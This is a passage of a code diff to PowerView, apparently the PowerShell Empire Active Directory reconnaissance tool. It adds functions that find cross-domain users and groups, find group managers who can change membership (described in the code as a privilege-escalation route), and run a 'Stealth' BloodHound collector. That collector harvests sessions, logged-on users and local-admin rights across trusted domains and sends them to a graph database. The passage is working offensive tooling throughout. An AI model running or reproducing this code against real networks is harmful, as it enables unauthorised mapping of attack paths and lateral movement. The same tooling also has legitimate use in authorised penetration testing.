if($Index) { + + $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain.CompareTo($Domain)) { + # if the group domain doesn't match the user domain, output + $GroupName = $Membership.split(",")[0].split("=")[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser + } + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize + } + } + else { + Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize + } +} + + +function Find-ForeignGroup { +<# + .SYNOPSIS + + Enumerates all the members of a given domain's groups + and finds users that are not in the queried domain. + The -Recurse flag will perform this enumeration for all + eachable domain trusts. + + .PARAMETER GroupName + + Groupname to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all group trust users from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignGroup { + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) - # parse all the result structures - for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + if(-not $Domain) { + $Domain = (Get-NetDomain).Name + } - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" + Write-Verbose "DomainDN: $DomainDN" - $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + # standard group names to ignore + $ExcludeGroups = @("Users", "Domain Users", "Guests") - if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" - } - else { - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain - $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController - $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName - $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName - $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags - $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex - $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes - $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString - $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid - $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') - $DomainTrust - } - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else - { - switch ($Result) { - (50) { Write-Debug 'The request is not supported.' } - (1004) { Write-Debug 'Invalid flags.' } - (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } - (1786) { Write-Debug 'The workstation does not have a trust secret.' } - (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } + # get all the groupnames for the given domain + Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { + # exclude common large groups + -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { + + $GroupName = $_.samAccountName + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + + $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $UserName = $_.split(",")[0].split("=")[1] + + $ForeignGroupUser = New-Object PSObject + $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain + $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName + $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ + $ForeignGroupUser } } - } - else { - Write-Error "Could not retrieve domain controller for $Domain" - } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique } else { - # if we're using direct domain connections through .NET - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { - $FoundDomain.GetAllTrustRelationships() - } + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + else { + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize } } -function Get-NetForestTrust { +function Find-ManagedSecurityGroups { <# .SYNOPSIS - Return all trusts for the current forest. + This function retrieves all security groups in the domain and identifies ones that + have a manager set. It also determines whether the manager has the ability to add + or remove members from the group. - .PARAMETER Forest + Author: Stuart Morgan (@ukstufus) + License: BSD 3-Clause - Return trusts for the specified forest. + .EXAMPLE - .PARAMETER Credential + PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + Store a list of all security groups with managers in group-managers.csv - .EXAMPLE + .DESCRIPTION - PS C:\> Get-NetForestTrust + Authority to manipulate the group membership of AD security groups and distribution groups + can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically + used to delegate management authority to distribution groups, but Windows supports security groups + being managed in the same way. - Return current forest trusts. + This function searches for AD groups which have a group manager set, and determines whether that + user can manipulate group membership. This could be a useful method of horizontal privilege + escalation, especially if the manager can manipulate the membership of a privileged group. - .EXAMPLE + .LINK - PS C:\> Get-NetForestTrust -Forest "test" + https://github.com/PowerShellEmpire/Empire/pull/119 - Return trusts for the "test" forest. #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [String] - $Forest, + # Go through the list of security groups on the domain and identify those who have a manager + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { - [Management.Automation.PSCredential] - $Credential - ) + # Retrieve the object that the managedBy DN refers to + $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname - process { - $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + # Create a results object to store our findings + $results_object = New-Object -TypeName PSObject -Property @{ + 'GroupCN' = $_.cn + 'GroupDN' = $_.distinguishedname + 'ManagerCN' = $group_manager.cn + 'ManagerDN' = $group_manager.distinguishedName + 'ManagerSAN' = $group_manager.samaccountname + 'ManagerType' = '' + 'CanManagerWrite' = $FALSE + } - if($FoundForest) { - $FoundForest.GetAllTrustRelationships() + # Determine whether the manager is a user or a group + if ($group_manager.samaccounttype -eq 0x10000000) { + $results_object.ManagerType = 'Group' + } elseif ($group_manager.samaccounttype -eq 0x30000000) { + $results_object.ManagerType = 'User' + } + + # Find the ACLs that relate to the ability to write to the group + $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + + # Double-check that the manager + if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { + $results_object.CanManagerWrite = $TRUE } + $results_object } } @@ -6368,7 +13120,7 @@ function Invoke-MapDomainTrust { $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } - if($Trusts -isnot [system.array]) { + if($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } @@ -6407,7 +13159,6 @@ function Invoke-MapDomainTrust { } - ######################################################## # # BloodHound specific fuctions. @@ -6520,34 +13271,103 @@ function Export-BloodHoundData { if($Object.PSObject.TypeNames -contains 'PowerView.UserSession') { if($Object.SessionFromName) { - $Query = "MERGE (user:User { name: UPPER(`"$($Object.UserName)`") }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFromName)`") }) MERGE (computer)-[:HasSession]->(user)" + try { + $SessionFromDomain = $Object.SessionFromName.SubString($Object.SessionFromName.IndexOf('.')+1) + + # TODO: later change this format to user@domain.com + # i.e. $LoggedOnUser = "$($Object.UserName)@$SessionFromDomain" + $LoggedOnUser = "$($Object.UserName).$SessionFromDomain" + + $Query = "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFromName)`") }) MERGE (computer)-[:HasSession]->(user)" + } + catch { + Write-Warning "Error extracting domain from $($Object.SessionFromName)" + } } elseif($Object.SessionFrom) { $Query = "MERGE (user:User { name: UPPER(`"$($Object.UserName)`") }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFrom)`") }) MERGE (computer)-[:HasSession]->(user)" } else { # assume Get-NetLoggedOn result - $Query = "MERGE (user:User { name: UPPER('$($Object.UserName)') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (computer)-[:HasSession]->(user)" + try { + $MemberSimpleName = "$($Object.UserDomain)\$($Object.UserName)" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + # TODO: later change this format to account@domain.com + # i.e. $AccountName = "$($Object.UserName).$MemberDomain" + $AccountName = "$($Object.UserName).$MemberDomain" + } + else { + $AccountName = $Object.ObjectName + } + + $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (computer)-[:HasSession]->(user)" + } + catch { + Write-Verbose "Error converting $($Object.UserDomain)\$($Object.UserName)" + } } } elseif($Object.PSObject.TypeNames -contains 'PowerView.GroupMember') { + # TODO: later change this format to member@domain.com + # i.e. $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)" + $AccountName = "$($Object.MemberName).$($Object.MemberDomain)" + + if ($Object.MemberName -Match "\\") { + # if the membername itself contains a backslash, get the trailing section + # TODO: later preserve this once BloodHound can properly display these characters + $AccountName = $($Object.Membername).split('\')[1] + '.' + $($Object.MemberDomain) + } + + # TODO: later change this format to group@domain.com + # i.e. $GroupName = "$($Object.GroupName)@$($Object.GroupDomain)" + $GroupName = "$($Object.GroupName).$($Object.GroupDomain)" + if($Object.IsGroup) { - $Query = "MERGE (group1:Group { name: UPPER('$($Object.MemberName)') }) MERGE (group2:Group { name: UPPER('$($Object.GroupName)') }) MERGE (group1)-[:MemberOf]->(group2)" + $Query = "MERGE (group1:Group { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName') }) MERGE (group1)-[:MemberOf]->(group2)" } else { # check if -FullData objects are returned, and if so check if the group member is a computer object if($Object.ObjectClass -and ($Object.ObjectClass -contains 'computer')) { - $Query = "MERGE (computer:Computer { name: UPPER('$($Object.dnshostname)') }) MERGE (group:Group { name: UPPER('$($Object.GroupName)') }) MERGE (computer)-[:MemberOf]->(group)" + $Query = "MERGE (computer:Computer { name: UPPER('$($Object.dnshostname)') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (computer)-[:MemberOf]->(group)" } else { # otherwise there's no way to determine if this is a computer object or not - $Query = "MERGE (user:User { name: UPPER('$($Object.MemberName)') }) MERGE (group:Group { name: UPPER('$($Object.GroupName)') }) MERGE (user)-[:MemberOf]->(group)" + $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (user)-[:MemberOf]->(group)" } } } - elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUser') { + elseif(($Object.PSObject.TypeNames -contains 'PowerView.LocalUserAPI') -or ($Object.PSObject.TypeNames -contains 'PowerView.LocalUser')) { $AccountName = $($Object.AccountName.replace('/', '\')).split('\')[-1] + $MemberSimpleName = Convert-SidToName -SID $Object.SID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + } + else { + $MemberDomain = $Null + } + + # TODO: later change this format to account@domain.com + # i.e. $AccountName = "$AccountName@$MemberDomain" + $AccountName = "$AccountName.$MemberDomain" + + if($Object.IsGroup) { + $Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)" + } + else { + $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)" + } + } + elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUserSpecified') { + # manually specified localgroup membership where resolution happens by the callee + + # TODO: later change this format to account@domain.com + # i.e. $AccountName = "$AccountName@$MemberDomain" + $AccountName = "$($Object.MemberName).$($Object.MemberDomain)" + if($Object.IsGroup) { $Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)" } @@ -6555,6 +13375,28 @@ function Export-BloodHoundData { $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)" } } + elseif($Object.PSObject.TypeNames -contains 'PowerView.GPOLocalGroup') { + $MemberSimpleName = Convert-SidToName -SID $Object.ObjectSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + # TODO: later change this format to account@domain.com + # i.e. $AccountName = "$($Object.ObjectName)@$MemberDomain" + $AccountName = "$($Object.ObjectName).$MemberDomain" + } + else { + $AccountName = $Object.ObjectName + } + + ForEach($Computer in $Object.ComputerName) { + if($Object.IsGroup) { + $Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (group)-[:AdminTo]->(computer)" + } + else { + $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (user)-[:AdminTo]->(computer)" + } + } + } else { Write-Verbose "No matching type name" } @@ -6625,6 +13467,12 @@ function Get-BloodHoundData { Domain controller to reflect LDAP queries through. + .PARAMETER CollectionMethod + + The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Stealth', or 'Default'. + 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), and 'GPOLocalGroup' enumeration. + 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', and 'LocalGroup' enumeration. + .PARAMETER SearchForest Switch. Search all domains in the forest for target users instead of just @@ -6673,6 +13521,10 @@ function Get-BloodHoundData { [String] $DomainController, + [String] + [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Default')] + $CollectionMethod = 'Default', + [Switch] $SearchForest, @@ -6681,96 +13533,185 @@ function Get-BloodHoundData { $Threads, [Int] - $Throttle = 100 + $Throttle = 1000 ) begin { - - Get-NetGroup -Domain $Domain -DomainController $DomainController | Get-NetGroupMember -Domain $Domain -DomainController $DomainController -FullData | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle - - if(!$ComputerName) { - [Array]$ComputerName = @() - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + Switch ($CollectionMethod) { + 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True } + 'LocalGroup' { $UseLocalGroup = $True } + 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True } + 'Session' { $UseSession = $True } + 'LoggedOn' { $UseLoggedOn = $True } + 'Stealth' { + $UseGroup = $True + $UseGPOGroup = $True + $UseSession = $True } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + 'Default' { + $UseGroup = $True + $UseLocalGroup = $True + $UseLoggedOn = $True } + } - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController + if($UseGroup) { + Get-NetGroup -Domain $Domain -DomainController $DomainController | Get-NetGroupMember -Domain $Domain -DomainController $DomainController -FullData | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle + } + + if (-not $SkipComputerEnumeration) { + if(-not $ComputerName) { + [Array]$TargetComputers = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ForEach ($Domain2 in $TargetDomains) { + if($CollectionMethod -eq 'Stealth') { + Write-Verbose "Querying domain $Domain2 for File Servers..." + $TargetComputers += Get-NetFileServer -Domain $Domain2 -DomainController $DomainController + + Write-Verbose "Querying domain $Domain2 for DFS Servers..." + $TargetComputers += Get-DFSshare -Domain $Domain2 -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + + Write-Verbose "Querying domain $Domain2 for Domain Controllers..." + $TargetComputers += Get-NetDomainController -LDAP -Domain $Domain2 -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + else { + Write-Verbose "Querying domain $Domain2 for hosts" + + $TargetComputers += Get-NetComputer -Domain $Domain2 -DomainController $DomainController + } + + if($UseGPOGroup) { + Write-Verbose "Enumerating GPO local group memberships for domain $Domain2" + Find-GPOLocation -Domain $Domain2 -DomainController $DomainController | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle + + # add in a local administrator relationship for "Domain Admins" -> every machine + $DomainSID = Get-DomainSID -Domain $Domain2 -DomainController $DomainController + $DomainAdminsSid = "$DomainSID-512" + $Temp = Convert-SidToName -SID $DomainAdminsSid + $DomainAdminsName = $Temp.Split('\')[1] + + Get-NetComputer -Domain $Domain2 -DomainController $DomainController | ForEach-Object { + $LocalUser = New-Object PSObject + $LocalUser | Add-Member Noteproperty 'MemberName' $DomainAdminsName + $LocalUser | Add-Member Noteproperty 'MemberDomain' $Domain2 + $LocalUser | Add-Member Noteproperty 'IsGroup' $True + $LocalUser | Add-Member Noteproperty 'ComputerName' $_ + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserSpecified') + $LocalUser | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle + } + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $TargetComputers = $TargetComputers | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($TargetComputers.Count) -eq 0) { + Write-Warning "No hosts found!" + } } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + else { + $TargetComputers = $ComputerName } } + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping) + param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2) $Up = $True if($Ping) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - # grab the users for the local admins on this server - Get-NetLocalGroup -ComputerName $ComputerName -API | Where-Object {$_.IsDomain} + + if($UseLocalGroup2) { + # grab the users for the local admins on this server + Get-NetLocalGroup -ComputerName $ComputerName -API | Where-Object {$_.IsDomain} + } $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname + if($UseSession2) { + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and (!($UserName -match $CurrentUser))) { + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $Null - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $Null + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - } - catch { - $CNameDNSName = $CName + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + } + catch { + $CNameDNSName = $CName + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser } - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser } } - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - $UserDomain = $User.wkui1_logon_domain + if($UseLoggedon2) { + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + $UserDomain = $User.wkui1_logon_domain + + # ignore local account logons + # TODO: better way to determine if network logon or not + if($ComputerName -notmatch "^$UserDomain") { + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser + } + } + } + + $LocalLoggedOn = Get-LoggedOnLocal -ComputerName $ComputerName + ForEach ($User in $LocalLoggedOn) { + $UserName = $User.UserName + $UserDomain = $User.UserDomain - # ignore local account logons - # TODO: better way to determine if network logon or not - if($ComputerName -notmatch "^$UserDomain") { - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + # ignore local account logons ? + if($ComputerName -notmatch "^$UserDomain") { $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName @@ -6783,60 +13724,48 @@ function Get-BloodHoundData { $FoundUser } } - } - - $LocalLoggedOn = Get-LoggedOnLocal -ComputerName $ComputerName - ForEach ($User in $LocalLoggedOn) { - $UserName = $User.UserName - $UserDomain = $User.UserDomain - - # ignore local account logons - if($ComputerName -notmatch "^$UserDomain") { - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } } } } } process { + if (-not $SkipComputerEnumeration) { + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $True + 'CurrentUser2' = $CurrentUser + 'UseLocalGroup2' = $UseLocalGroup + 'UseSession2' = $UseSession + 'UseLoggedon2' = $UseLoggedon + } - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $True + Invoke-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle } - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle - } - - else { - if($ComputerName.count -ne 1) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop) { $ComputerName }} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + else { + if($TargetComputers.Count -ne 1) { + # ping all hosts in parallel + $Ping = {param($ComputerName2) if(Test-Connection -ComputerName $ComputerName2 -Count 1 -Quiet -ErrorAction Stop) { $ComputerName2 }} + $TargetComputers2 = Invoke-ThreadedFunction -NoImports -ComputerName $TargetComputers -ScriptBlock $Ping -Threads 100 + } + else { + $TargetComputers2 = $TargetComputers + } - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 + Write-Verbose "[*] Total number of active hosts: $($TargetComputers2.count)" + $Counter = 0 - ForEach ($Computer in $ComputerName) { + ForEach ($Computer in $TargetComputers2) { - $Counter = $Counter + 1 - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Counter = $Counter + 1 + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($TargetComputers2.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList @($Computer, $False) | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList @($Computer, $False, $CurrentUser, $UseLocalGroup, $UseSession, $UseLoggedon) | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle + } } } } @@ -6856,15 +13785,63 @@ $Mod = New-InMemoryModule -ModuleName Win32 # all of the Win32 API functions we need $FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], 